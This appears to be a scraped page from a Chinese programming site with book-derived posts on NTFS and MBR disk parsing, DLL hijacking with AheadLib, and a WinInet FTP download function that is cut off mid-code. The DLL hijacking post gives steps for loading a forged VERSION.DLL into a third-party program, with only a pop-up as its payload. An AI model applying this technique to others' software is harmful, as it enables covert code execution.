    由于 NTFS 文件系统是通过 \$MFT 来确定文件在磁盘上的位置以及文件的属性,所以\$MFT 是非常重要的,\$MFT 的起始位置在 DBR 中有描述。\$MFT 的文件记录在物理上是连续的,并且从 0 开始编号;\$MFT 的前 16 个文件记录总是元文件的,并且顺序是固定不变的。
    文件记录由两部分构成,一部分是文件记录头,另一部分是属性列表,最后结尾是四个“FF”:

    文件记录头解析对于文件记录头中每个数据的含义如下,其中,需要重点关注的是偏移为 0x14,长度为 2 字节的第一个属性的偏移地址,根据这个字段可以获取文件记录中第一个属性的位置。

    文件记录属性属性有两种,分为常驻属性和非常驻属性。在属性中,偏移 0x8,长度为 1 字节的字段,就是区分了常驻属性和非常驻属性。值为 0x00 表示常驻属性,0x01 表示非常驻属性。
    常驻属性头的每个字段含义如下所示。其中,要重点关注属性类型、属性长度、是否为常驻属性还是非常驻属性。

    非常驻属性头的每个字段含义如下所示。其中,要重点关注属性类型、属性长度、是否为常驻属性还是非常驻属性、Data Run 的偏移地址以及 Data Run 的数据信息。

    数据运行列表 Data Run List我们可以由上面知道,当属性为非常驻属性的时候,属性中就会有一个字段来表示 Data Run。当属性不能存放完数据,系统就会在NTFS数据区域开辟一个空间存放,这个区域是以簇为单位的。Data Run List 就是记录这个数据区域的起始簇号和大小。它的含义分析如下:

    Data Run的第一个字节分高4位和低4位。其中,高4位表示文件内容的起始簇号在Data Run List中占用的字节数。低4位表示文件内容簇数在Data Run List中占用的字节数。
    Data Run的第二个字节开始表示文件内容的簇数,接着表示文件内容的起始簇号。
    Data Run可以指示空间的大小以及偏移位置,例如上述中给的例子,起始簇号为:A2 59 00(10639616),数据大小为:C0 14(49172)。
    对于多个Data Run的情况,第一个Data Run的起始簇号是一个正整数,而第二个Data Run开始,起始簇号偏移是分正负的。可以根据起始簇号偏移的最高位是否来判断,若为1,则是负整数(补码表示);否则,是正整数。而且,从第二个Data Run开始,起始簇号偏移都是相对于上一个Data Run的起始簇号来说的。下面举个例子,方便大家理解。
    例如,有这么一个Data Run如下所示:
    31 01 FD 0A 28 21 01 AB FA 21 01 4A F5 21 01 91 C1 00我们可以看到上面一共有4个Data Run,分别如下:
    第1个Data Run

    31 01 FD 0A 28
    正整数:第一个Data Run的起始簇号都是正整数起始簇号:28 0A FD(2624253)

    第2个Data Run

    21 01 AB FA
    负整数:起始簇号偏移FA AB的最高位是1,所以是负整数(补码),所以FA AB(-1365)起始簇号:相对于上一个Data Run的偏移,所以为:2624253-1365=2622888

    第3个Data Run

    21 01 4A F5
    负整数:起始簇号偏移F5 4A的最高位是1,所以是负整数(补码),所以F5 4A(-2742)起始簇号:相对于上一个Data Run的偏移,所以为:2622888-2742=2620146

    第4个Data Run

    21 01 91 C1
    负整数:起始簇号偏移C1 91的最高位是1,所以是负整数(补码),所以C1 91(-15983)起始簇号:相对于上一个Data Run的偏移,所以为:2620146-15983=2604163

    几个重要的属性接下来,我们重点讲解下几个重要的属性:80H属性、90H属性以及 A0H属性。
    80H属性80H属性是文件数据属性,该属性容纳着文件的内容,文件的大小一般指的就是未命名数据流的大小。该属性没有最大最小限制,最小情况是该属性为常驻属性。当在数据在属性内没有办法展示完全的时候,就需要Data Run的帮助,那么这时属性就为常驻属性,文件数据就存储在 Data Run指向的簇当中。
    90H属性90H属性是索引根属性,该属性是实现NTFS的B+树索引的根节点,它总是常驻属性。该属性的结构如下图:

    其中,索引根的字段含义如下所示:

    索引头的字段含义如下所示:

    索引项的字段含义如下所示:

    A0属性A0属性是索引分配属性,也是一个索引的基本结构,存储着组成索引的B+树目录索引子节点的定位信息。它总是常驻属性:

    根据上图A0H属性的 Data Run List 可以找到索引区域,偏移到索引区域所在的簇:

    其中,标准索引头的解释如下。要注意,下面的索引项偏移加上0x18。

    索引项的解释如下:

    基于 NTFS 文件定位思路及例子NTFS定位文件大致过程如下:

    根据BDP,获取扇区大小、簇大小以及\$MFT起始扇区
    根据$MFT位置,计算根目录的文件记录,一般在 5 号文件记录
    查找80H、90H、A0H属性,注意常驻属性和非常驻属性
    获取 Data Run,从 Data Run 中定位到起始簇后,再分析索引项可以得到文件名等信息
    根据80H属性中的数据流就可以找到文件真正的数据

    接下来,我来演示怎么使用 NTFS 文件系统定位出 H:\NtfsTest\520.exe 文件。
    首先,我们使用 WinHex 软件,打开 H 盘的分区引导扇区 DBR,我们可以从中获取:每个扇区大小为 0x200 字节;每个簇大小为 0x08 个扇区;\$MFT 开始簇号为 0x0C0000。
    所以,我们根据以上信息计算出 $MFT 开始的偏移地址为:
    0x0C0000 * 0x08 * 0x200 = 0xC000 0000

    然后,我们就开始计算根目录的文件记录,它是 5 号文件记录,而且每个文件记录大小为两个扇区 1024 字节。所以,根目录的偏移地址为:
    0xC000 0000 + 0x5 * 0x2 * 0x200 = 0xC000 1400
    接着,我们跳转到 0xC000 1400 地址处,从从文件记录中,查找 80H、90H、10H 属性,因为是要获取 NtfsTest 文件夹的位置,所以,我们定位到 A0H 属性:

    我们可以从偏移 0x20 处获取 Data Run 的偏移地址 0x0048。然后,在偏移 0x0048 中获取 Data Run 数据:11 01 2C 00。从 Data Run 中,可以知道数据大小为 0x01 个簇,起始簇号为 0x2C。其中,0x2C 簇的偏移地址为 0x2C000。
    我们跳转到 0x2C000 地址处,开始按照标准索引头、索引项的含义,从标准索引头中获取第一个索引项的偏移位置,注意要加上0x18;然后,再从索引项中获取文件名称的偏移位置,查看名称是否为 NtfsTest 文件夹,若不是,则继续获取下一索引项的偏移位置,继续获取名称匹配。若找到名称,则获取文件的 \$MTF 参考号。
    按照上面的顺序,我们找到了 NtfsTest 所在的索引项:

    所以,我们可以获取到文件的 \$MTF 参考号为:0x58E0。那么,偏移地址为:
    0xC000 0000 + 0x58E0 * 2* 0x200 = 0xC163 8000
    我们继续跳转到偏移位置 0xC163 8000,接下来要寻找 520.exe 文件名称.:我们根据文件记录找到第一个属性的偏移位置,然后再根据属性大小,获取下一个属性的偏移位置。以此查找 80H 属性、90H 属性、A0H 属性。
    我们可以在 90H 属性中,从索引项中获取到 520.exe 的文件名称,然后可以得到 520.exe 文件的 \$MTF 参考号为:0x5A0B。那么偏移地址为:
    0xC000 0000 + 0x5A0B * 2* 0x200 = 0xC168 2C00

    然后,我们直接跳转到 0xC168 2C00 地址处,就是 520.exe 的文件记录了。我们直接找到 80H 文件数据属性,从偏移 0x20 获取 Data Run 的偏 移 0x40,然后在偏移 0x40 获取 Data Run 数据:32 42 2E C7 85 64 00。

    根据 Data Run,我们知道数据大小为 0x2E42 个簇,数据起始簇号为 0x6485C7,即偏移地址为:
    0x6485C7 * 0x8 * 0x200 = 0x6 485C 7000
    这样,0x6 485C 7000 地址处就存储着 H:\NtfsTest\520.exe 文件的数据。

    本文参考自《WINDOWS黑客编程技术详解》、内核篇、第十三章 文件管理技术、第三小节 文件管理之NTFS解析
    1 回答 2018-12-12 17:18:16
  • MBR主分区拓展分区逻辑分区介绍

    背景主引导记录(MBR,Main Boot Record)是位于磁盘最前边的一段引导(Loader)代码。它负责磁盘操作系统(DOS)对磁盘进行读写时分区合法性的判别、分区引导信息的定位,它由磁盘操作系统(DOS)在对硬盘进行初始化时产生的。
    MBR 位于硬盘的 0 磁头、0 柱面、1 扇区,大小为 512 字节。它里面包含着操作系统里的分区信息。现在,我就简单介绍怎么从MBR作为入口点,获取系统的主分区、拓展分区以及逻辑分区。
    硬盘基础知识介绍硬盘物理结构硬盘的物理结构如下面两幅图片所示。正面包括:空气过滤片、主轴、音圈马达、永磁铁、磁盘、磁头、磁头臂等。
    反面包括:主控制芯片、数据传输芯片、高速数据缓存芯片等,其中主控制芯片负责硬盘数据读写指令等工作。


    硬盘逻辑结构新买来的硬盘是不能直接使用的,必须对它进行分区并进行格式化才能储存数据经过格式化分区之后,逻辑上每个盘片的每一面都会被分为磁道、扇区、柱面这几个虚拟的概念。

    磁道当磁盘旋转时,磁头若保持在一个位置上,则每个磁头都会在磁盘表面划出一个圆形轨迹,这些圆形轨迹就叫做磁道。

    扇区分区格式化磁盘时,每个盘片的每一面都会划分很多同心圆的磁道,而且还会将每个同心圆进一步的分割为多个的圆弧,这些圆弧就是扇区。

    柱面硬盘通常由一个或多个盘片构成,而且每个面都被划分为数目相等的磁道,并从外缘开始编号(即最边缘的磁道为0磁道,往里依次累加)。如此磁盘中具有相同编号的磁道会形成一个圆柱,此圆柱称为磁盘的柱面磁盘的柱面数与一个盘面上的磁道数是相等的。每个盘面都有一个磁头,因此,盘面数等于总的磁头数
    硬盘工作原理硬盘的工作原理就是利用盘片上的磁性粒子的极性来记录保存数据的,其实就是电磁转换的原理。
    硬盘存储数据的位置是在盘片的表面,但是盘片的材料一般为合金材料或者是玻璃材料,并非磁性材料,因此不具备记录数据的条件,需要在盘片上附着一层磁性粉,这些磁粉在硬盘工作过程中,通过磁头释放磁性信号将磁粉做以不同的磁化从而记录数据,另外,硬盘在进行数字记录是,首先要将记录的数据信息转为二进制数,然后将磁化状态记录在磁粉介质之上。
    硬盘驱动器加电后,磁盘片由主轴电机驱动进行高速旋转,设置在盘片表面的磁头会在电路控制下径向移动到指定位置然后将数据存储或读出来;当系统向硬盘写入数据时,磁头中写数据电流产生磁场使盘片表面磁性物质状态发生改变,并在写电流磁场消失后仍能保持,当系统从硬盘中读取数据时,磁头经过盘片指定区域,盘片表面磁场使磁头产生感应电流或线圈阻抗产生变化,经过相关电路处理后还原成数据。
    MBR介绍MBR (Master Boot Record),即主引导记录,又叫做主引导扇区。是计算机开机后访问硬盘时所必须要读取的首个扇区,它在硬盘上的三维地址为:0磁头、0柱面、1扇区。
    MBR结构512 字节的 MBR ,可细分为 5 个部分:代码区(440字节)、选用磁盘标志(4字节)、保留字段(2字节)、主分区表(64字节)、结束标志(2字节)。其中,主分区表中,存储着 4 个主分区的信息,每个分区信息大小为 16 字节。

    主分区表结构硬盘分区表占据主引导扇区的 64 个字节,可以对 4 个分区的信息进行描述,其中每个分区的信息占据 16 个字节。那么,每个分区表 16 字节可以分成 8 个部分:分区状态(1字节)、分区起始磁头号(1字节)、分区起始扇区号(2字节)、文件系统标志(1字节)、分区结束磁头号(1字节)、分区结束扇区号(2字节)、分区起始相对扇区号(4字节)、分区总扇区数(4字节)。
    其中,只有活动分区才可以引导系统,只能设置一个活动分区,随便哪个分区都可以安装系统,但是只有活动分区可以引导系统,系统引导文件都是放在活动分区的。

    拓展分区和逻辑分区可以把扩展分区整体上也看做是一个“主分区”,在主分区表中也有一个表项描述了这个扩展分区的信息,就像上文中描述主分区的表项类似,这个扩展分区表项描述了扩展分区的起始扇区位置和整个扩展分区的大小,在这个扩展分区内部,我们可以创建多个逻辑分区,你可以把整个扩展分区当作是一个新的“硬盘”,在扩展分区内部的逻辑分区是由与之相对应的逻辑分区表项进行维护的。
    四个表项全部对应的是主分区,这四个分区全部都是由主分区表这个结点进行维护管理,也就是说一个结点对应多个主分区。
    在扩展分区中,每一个逻辑分区都有一个与之对应的逻辑管理结点,逻辑结点中,第一个表项描述了当前结点对应的逻辑分区信息,第二个表项描述的下一个逻辑管理结点的位置。逻辑分区表项的意义和主分区表项的意义是一致的,但是需要注意的是表项中给出的起始扇区地址,这些地址是相对的地址。

    例子Win7 旗舰版 32 位系统中,有 3 个磁盘:C盘(系统盘,大小28.9GB)、E盘(主分区,大小390MB)、F盘(逻辑分区,256MB)、G盘(逻辑分区,375MB)。
    主分区表分析我们直接使用 WinHex 获取从MBR 中获取 64 字节分区表的数据,数据截图如下所示:

    我们结合上述讲到的分区表字段意义来对这 64 字节的数据进行分析。
    第一个主分区表
    分区状态(1字节):0x80;分区起始磁头号(1字节):0x20;分区起始扇区号(2字节):0x0021;文件系统标志(1字节):0x07;分区结束磁头号(1字节):0xFE;分区结束扇区号(2字节):0xFFFF;分区起始相对扇区号(4字节):0x00000800;分区总扇区数(4字节):0x039FF000。
    其中,分区状态为0x80,表示激活分区;文件系统标志为 0x07,表示 NTFS 文件系统;分区总扇区数 0x039FF000,乘以每个扇区大小 512 字节,得到分区大小约为 28.9 GB。
    第二个主分区表
    分区状态(1字节):0x00;分区起始磁头号(1字节):0xFE;分区起始扇区号(2字节):0xFFFF;文件系统标志(1字节):0x07;分区结束磁头号(1字节):0xFE;分区结束扇区号(2字节):0xFFFF;分区起始相对扇区号(4字节):0x039FF800;分区总扇区数(4字节):0x000C3800。
    其中,分区状态为0x00,表示非激活分区;文件系统标志为 0x07,表示 NTFS 文件系统;分区总扇区数 0x000C3800,乘以每个扇区大小 512 字节,得到分区大小约为 391 M。
    第三个主分区表
    分区状态(1字节):0x00;分区起始磁头号(1字节):0xFE;分区起始扇区号(2字节):0xFFFF;文件系统标志(1字节):0x0F;分区结束磁头号(1字节):0xFE;分区结束扇区号(2字节):0xFFFF;分区起始相对扇区号(4字节):0x03AC3001;分区总扇区数(4字节):0x0013BFFF。
    其中,分区状态为0x00,表示非激活分区;文件系统标志为 0x0F,表示拓展分区;分区总扇区数 0x0013BFFF,乘以每个扇区大小 512 字节,得到分区大小约为 631 M,恰好是两个逻辑分区 F 盘和 G 盘的大小总和。
    拓展分区分析我们继续对上面的拓展分区进行详细分析。
    上面第 3 个主分区表的信息为拓展分区的信息:分区状态(1字节):0x00;分区起始磁头号(1字节):0xFE;分区起始扇区号(2字节):0xFFFF;文件系统标志(1字节):0x0F;分区结束磁头号(1字节):0xFE;分区结束扇区号(2字节):0xFFFF;分区起始相对扇区号(4字节):0x03AC3001;分区总扇区数(4字节):0x0013BFFF。
    于是,我们来到其实相对扇区为 0x03AC3001 的位置,这里就是拓展分区的开始。那么获取拓展分区的 64 字节的主分区表,在扩展分区中,每一个逻辑分区都有一个与之对应的逻辑管理结点,逻辑结点中,第一个表项描述了当前结点对应的逻辑分区信息,第二个表项描述的下一个逻辑管理结点的位置。

    第一个逻辑结点表项
    分区状态(1字节):0x00;分区起始磁头号(1字节):0xFE;分区起始扇区号(2字节):0xFFFF;文件系统标志(1字节):0x07;分区结束磁头号(1字节):0xFE;分区结束扇区号(2字节):0xFFFF;分区起始相对扇区号(4字节):0x0000003F;分区总扇区数(4字节):0x0007FFC0。
    其中,分区状态为0x00,表示非激活分区;文件系统标志为 0x07,表示 NTFS 文件系统;分区总扇区数 0x0007FFC0,乘以每个扇区大小 512 字节,得到分区大小约为 256 M。
    要额外注意的是,分区起始相对扇区号(4字节):0x0000003F,它是相对于主分区表中的拓展分区的起始扇区号来说的,所以,它实际上的绝对扇区号为 0x03AC3001 + 0x0000003F = 0x03AC3040。
    第二个逻辑节点表项
    分区状态(1字节):0x00;分区起始磁头号(1字节):0xFE;分区起始扇区号(2字节):0xFFFF;文件系统标志(1字节):0x05;分区结束磁头号(1字节):0xFE;分区结束扇区号(2字节):0xFFFF;分区起始相对扇区号(4字节):0x0007FFFF;分区总扇区数(4字节):0x000BC000。
    其中,分区状态为0x00,表示非激活分区;文件系统标志为 0x05,表示 拓展分区逻辑结点;分区总扇区数0x000BC000,乘以每个扇区大小 512 字节,得到分区大小约为 375 M。
    逻辑分区我们继续对上面的拓展分区中的第二项逻辑结点表项继续分析。
    分区状态(1字节):0x00;分区起始磁头号(1字节):0xFE;分区起始扇区号(2字节):0xFFFF;文件系统标志(1字节):0x05;分区结束磁头号(1字节):0xFE;分区结束扇区号(2字节):0xFFFF;分区起始相对扇区号(4字节):0x0007FFFF;分区总扇区数(4字节):0x000BC000。
    要额外注意的是,分区起始相对扇区号(4字节):0x0007FFFF,它是相对于主分区表中的拓展分区的起始扇区号来说的,所以,它实际上的绝对扇区号为 0x03AC3001 + 0x0007FFFF = 0x03B43000。
    于是,我们来到其实相对扇区为 0x03B43000 的位置,这里就是拓展分区的开始。那么获取拓展分区的 64 字节的主分区表:

    这时,只有一个逻辑节点节表项,以为是最后一个逻辑分区了。
    分区状态(1字节):0x00;分区起始磁头号(1字节):0xFE;分区起始扇区号(2字节):0xFFFF;文件系统标志(1字节):0x07;分区结束磁头号(1字节):0xFE;分区结束扇区号(2字节):0xFFFF;分区起始相对扇区号(4字节):0x00000800;分区总扇区数(4字节):0x000BB800。
    要额外注意的是,分区起始相对扇区号(4字节):0x00000800,它是相对于0x03B43000 来说的,所以,它实际上的绝对扇区号为 0x03B43000 + 0x00000800 = 0x03B43800。
    这样,我们这个例子到这里就结束了。我们直接从 MBR 扇区中,获取到了系统的所有主分区、拓展分区以及逻辑分区的大小及其绝对起始扇区号。接下来,只需要再了解 NTFS 文件系统的格式,就可以根据硬盘数据直接定位到硬盘上的文件数据了。这样,就可以实现直接修改硬盘数据来操作文件,而不需要装个操作系统。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2018-12-11 09:07:50
  • 基于AheadLib工具进行DLL劫持

    背景或许你听过DLL劫持技术,获取你还没有尝试过DLL劫持技术。DLL劫持技术的原理是:

    由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

    现在,本文就使用 AheadLib 工具生成劫持代码,对程序进行DLL劫持。现在就把实现原理和过程写成文档,分享给大家。
    实现过程本文选取劫持的程序是从网上随便下的一个程序“360文件粉碎机独立版.exe”,我们使用 PEview.exe 查看改程序的导入表,主要是看有程序需要导入哪些DLL文件。

    观察导入的DLL,类似KERNEL32.DLL、USER32.DLL等受系统保护的重要DLL,劫持难度比较大,所以,我们选择VERSION.DLL。至于,判断是不是受系统保护的DLL,可以查看注册表里面的键值,里面的DLL都是系统保护的,加载路径固定:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls然后,确定劫持的DLL文件之后,我们使用 AheadLib 工具来生成DLL劫持代码:

    接着,新建一个DLL工程,把AheadLib工具生成的代码拷贝到DLL工程中,同时,我们在DLL的入口点函数DllMain中增加一行弹窗代码,这样可以提示我们DLL劫持成功。然后编译链接,生成DLL文件。这个我们自己编译生成的DLL文件,就可以把DLL名称改成“VERSION.DLL”,放到和“360文件粉碎机独立版.exe”程序在同一目录下,运行程序,则会加载同一目录下的“VERSION.DLL”。
    为了验证DLL程序是否能成功劫持,我们把改名后的“VERSION.DLL”和“360文件粉碎机独立版.exe”放在桌面,然后,运行程序,这是,成功弹窗:

    我们使用 Process Explorer 工具查看下“360文件粉碎机独立版.exe”进程加载的DLL情况:

    可以看到,我们自己的version.dll成功被加载,而且还加载了系统的version.dll。之所以会加载系统的version.dll文件,是因为我们自己的DLL文件中,会加载version.dll文件。
    编码实现现在,我给出version.dll劫持部分入口点部分的代码,其余的代码都是使用AheadLib工具生成的,自己在入口点添加了一行弹窗的代码而已。
    // 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); ::MessageBox(NULL, "I am Demon", "CDIY", MB_OK); return Load(); } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } return TRUE;}
    总结有了AheadLib劫持代码生成工具的帮助,使得DLL劫持变得很轻松。本文的文档自己极力简化了,大家只要认真跟着步骤操作,应该可以看得懂的。
    注意,本文演示的例子实在 Windows7 32位系统上,对于64位系统,原理是一样的,对于代码劫持工具也可以换成 AheadLib 64位版本的。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-10 09:49:26
  • 基于WinInet的FTP文件下载实现

    背景对于在网络之间的文件传输,我们通常使用FTP传输协议。因为,FTP就是专门为了文件传输而生的,传输效率高,稳定性好。所以,FTP文件传输协议,是我们网络传输中常用的协议。
    为了学习这方面的开发知识,自己专门写了个使用Windows提供的WinInet库实现了FTP的文件传输的基本功能。现在,我就把基于WinInet库实现的FTP文件下载和FTP文件上传分成两个文档分别进行解析。本文介绍的是基于WinInet的FTP文件下载的实现。
    函数介绍介绍FTP下载文件使用到的主要的WinInet库中的API函数。
    1. InternetOpen 介绍
    初始化一个应用程序,以使用 WinINet 函数。
    函数声明
    HINTERNET InternetOpen(In LPCTSTR lpszAgent,In DWORD dwAccessType,In LPCTSTR lpszProxyName,In LPCTSTR lpszProxyBypass,In DWORD dwFlags);
    参数lpszAgent指向一个空结束的字符串,该字符串指定调用WinInet函数的应用程序或实体的名称。使用此名称作为用户代理的HTTP协议。dwAccessType指定访问类型,参数可以是下列值之一:



    Value
    Meaning




    INTERNET_OPEN_TYPE_DIRECT
    使用直接连接网络


    INTERNET_OPEN_TYPE_PRECONFIG
    获取代理或直接从注册表中的配置,使用代理连接网络


    INTERNETOPEN_TYPE_PRECONFIG WITH_NO_AUTOPROXY
    获取代理或直接从注册表中的配置,并防止启动Microsoft JScript或Internet设置(INS)文件的使用


    INTERNET_OPEN_TYPE_PROXY
    通过代理的请求,除非代理旁路列表中提供的名称解析绕过代理,在这种情况下,该功能的使用



    lpszProxyName指针指向一个空结束的字符串,该字符串指定的代理服务器的名称,不要使用空字符串;如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY,则此参数应该设置为NULL。
    lpszProxyBypass指向一个空结束的字符串,该字符串指定的可选列表的主机名或IP地址。如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY的 ,参数省略则为NULL。
    dwFlags参数可以是下列值的组合:



    VALUE
    MEANING




    INTERNET_FLAG_ASYNC
    使异步请求处理的后裔从这个函数返回的句柄


    INTERNET_FLAG_FROM_CACHE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND


    INTERNET_FLAG_OFFLINE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND



    返回值成功:返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinInet函数。失败:返回NULL。

    2. InternetConnect 介绍
    建立 Internet 的连接。
    函数声明
    HINTERNET WINAPI InternetConnect( HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD dwContext);
    参数说明hInternet:由InternetOpen返回的句柄。lpszServerName:连接的ip或者主机名nServerPort:连接的端口。lpszUserName:用户名,如无置NULL。lpszPassword:密码,如无置NULL。dwService:使用的服务类型,可以使用以下

    INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上INTERNET_SERVICE_GOPHER = 2INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
    dwFlags:文档传输形式及缓存标记。一般置0。dwContext:当使用回叫信号时, 用来识别应用程序的前后关系。返回值成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。

    3. FtpOpenFile介绍
    启动访问FTP服务器上的远程文件以进行读取或写入。
    函数声明
    HINTERNET FtpOpenFile( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszFileName, _In_ DWORD dwAccess, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
    参数

    hConnect [in]处理FTP会话。
    lpszFileName [in]指向包含要访问的文件名称的以NULL结尾的字符串。
    dwAccess [in]文件访问。 该参数可以是GENERIC_READ或GENERIC_WRITE,但不能同时使用。
    dwFlags [in]转移发生的条件。 应用程序应选择一种传输类型,以及指示文件缓存如何被控制的任何标志。传输类型可以是以下值之一。




    VALUE
    MEANING




    FTP_TRANSFER_TYPE_ASCII
    使用FTP的ASCII(类型A)传输方法传输文件。 控制和格式化信息被转换为本地等价物。


    FTP_TRANSFER_TYPE_BINARY
    使用FTP的图像(类型I)传输方法传输文件。 文件完全按照存在的方式进行传输,没有任何变化。 这是默认的传输方式。


    FTP_TRANSFER_TYPE_UNKNOWN
    默认为FTP_TRANSFER_TYPE_BINARY。


    INTERNET_FLAG_TRANSFER_ASCII
    以ASCII格式传输文件。


    INTERNET_FLAG_TRANSFER_BINARY
    将文件作为二进制文件传输。



    以下值用于控制文件的缓存。 应用程序可以使用这些值中的一个或多个。



    VALUE
    MEANING




    INTERNET_FLAG_HYPERLINK
    在确定是否从网络重新加载项目时,如果没有到期时间并且没有LastModified时间从服务器返回,则强制重新加载。


    INTERNET_FLAG_NEED_FILE
    如果无法缓存文件,则导致创建临时文件。


    INTERNET_FLAG_RELOAD
    强制从源服务器下载所请求的文件,对象或目录列表,而不是从缓存中下载。


    INTERNET_FLAG_RESYNCHRONIZE
    如果资源自上次下载以来已被修改,请重新加载HTTP资源。 所有FTP资源都被重新加载。




    dwContext [in]指向包含将此搜索与任何应用程序数据相关联的应用程序定义值的变量。 这仅在应用程序已经调用InternetSetStatusCallback来设置状态回调函数时才会使用。
    返回值

    如果成功则返回一个句柄,否则返回NULL。 要检索特定的错误消息,请调用GetLastError。

    4. InternetReadFile 介绍
    函数声明
    BOOL InternetReadFile( __in HINTERNET hFile,__out LPVOID lpBuffer,__in DWORD dwNumberOfBytesToRead,__out LPDWORD lpdwNumberOfBytesRead);
    参数

    hFile[in]
    由InternetOpenUrl,FtpOpenFile, 或HttpOpenRequest函数返回的句柄.
    lpBuffer[out]
    缓冲器指针
    dwNumberOfBytesToRead[in]
    欲读数据的字节量。
    lpdwNumberOfBytesRead[out]
    接收读取字节量的变量。该函数在做任何工作或错误检查之前都设置该值为零

    返回值成功:返回TRUE,失败,返回FALSE

    实现原理首先,我们先介绍下FTP的URL格式:
    FTP://账号:密码@主机/子目录或文件例如:ftp://admin:123456@192.168.0.1/mycode/520.zip
    其中,“FTP”就表示使用FTP传输数据;“账号”即登录FTP服务器的用户名;“密码”即登录FTP服务器用户名对应的密码;“主机”表示服务器的IP地址;“子目录或文件”即要进行操作的文件或目录的路径。
    在,WinInet库中,提供了InternetCrackUrl这个函数专门用于URL的分解,在我写的《URL分解之InternetCrackUrl》则篇文章中有详细介绍和使用方法。
    那么,基于WinInet库的FTP文件下载的原理如下所示:

    首先,我们先调用对URL进行分解,从URL中获取后续操作需要的信息。
    然后,使用InternetOpen初始化WinInet库,建立网络会话。
    接着,使用InternetConnect与服务器建立连接,并设置FTP数据传输方式。
    之后,我们就可以调用FtpOpenFile函数,根据文件路径,以GENERIC_READ的方式,打开文件并获取服务器上文件的句柄。
    接着,根据文件句柄,调用FtpGetFileSize获取文件的大小,并根据文件大小在程序申请一块动态内存,以便存储下载的数据。
    然后,就可以调用InternetReadFile从服务器上下载文件数据,并将下载的数据存放在上述申请的动态内存中。
    最后,关闭上述打开的句柄,进行清理工作。

    这样,就可以成功实现FTP文件下载的功能了。与服务器建立FTP连接后,我们使用WinInet库中FTP函数对服务器上文件的操作就如果使用Win32 API函数对本地文件操作一样方便。
    编码实现导入WinInet库文件#include <WinInet.h>#pragma comment(lib, "WinInet.lib")
    FTP文件下载// 数据下载// 输入:下载数据的URL路径// 输出:下载数据内容、下载数据内容长度BOOL FTPDownload(char *pszDownloadUrl, BYTE **ppDownloadData, DWORD *pdwDownloadDataSize){ // INTERNET_SCHEME_HTTPS、INTERNET_SCHEME_HTTP、INTERNET_SCHEME_FTP等 char szScheme[MAX_PATH] = { 0 }; char szHostName[MAX_PATH] = { 0 }; char szUserName[MAX_PATH] = { 0 }; char szPassword[MAX_PATH] = { 0 }; char szUrlPath[MAX_PATH] = { 0 }; char szExtraInfo[MAX_PATH] = { 0 }; ::RtlZeroMemory(szScheme, MAX_PATH); ::RtlZeroMemory(szHostName, MAX_PATH); ::RtlZeroMemory(szUserName, MAX_PATH); ::RtlZeroMemory(szPassword, MAX_PATH); ::RtlZeroMemory(szUrlPath, MAX_PATH); ::RtlZeroMemory(szExtraInfo, MAX_PATH); // 分解URL if (FALSE == Ftp_UrlCrack(pszDownloadUrl, szScheme, szHostName, szUserName, szPassword, szUrlPath, szExtraInfo, MAX_PATH)) { return FALSE; } if (0 < ::lstrlen(szExtraInfo)) { // 注意此处的连接 ::lstrcat(szUrlPath, szExtraInfo); } HINTERNET hInternet = NULL; HINTERNET hConnect = NULL; HINTERNET hFTPFile = NULL; BYTE *pDownloadData = NULL; DWORD dwDownloadDataSize = 0; DWORD dwBufferSize = 4096; BYTE *pBuf = NULL; DWORD dwBytesReturn = 0; DWORD dwOffset = 0; BOOL bRet = FALSE; do { // 建立会话 hInternet = ::InternetOpen("WinInet Ftp Download V1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { Ftp_ShowError("InternetOpen"); break; } // 建立连接 hConnect = ::InternetConnect(hInternet, szHostName, INTERNET_INVALID_PORT_NUMBER, szUserName, szPassword, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); if (NULL == hConnect) { Ftp_ShowError("InternetConnect"); break; } // 打开FTP文件, 文件操作和本地操作相似 hFTPFile = ::FtpOpenFile(hConnect, szUrlPath, GENERIC_READ, FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_RELOAD, NULL); if (NULL == hFTPFile) { Ftp_ShowError("FtpOpenFile"); break;; } // 获取文件大小 dwDownloadDataSize = ::FtpGetFileSize(hFTPFile, NULL); // 申请动态内存 pDownloadData = new BYTE[dwDownloadDataSize]; if (NULL == pDownloadData) { break; } ::RtlZeroMemory(pDownloadData, dwDownloadDataSize); pBuf = new BYTE[dwBufferSize]; if (NULL == pBuf) { break; } ::RtlZeroMemory(pBuf, dwBufferSize); // 接收数据 do { bRet = ::InternetReadFile(hFTPFile, pBuf, dwBufferSize, &dwBytesReturn); if (FALSE == bRet) { Ftp_ShowError("InternetReadFile"); break; } ::RtlCopyMemory((pDownloadData + dwOffset), pBuf, dwBytesReturn); dwOffset = dwOffset + dwBytesReturn; } while (dwDownloadDataSize > 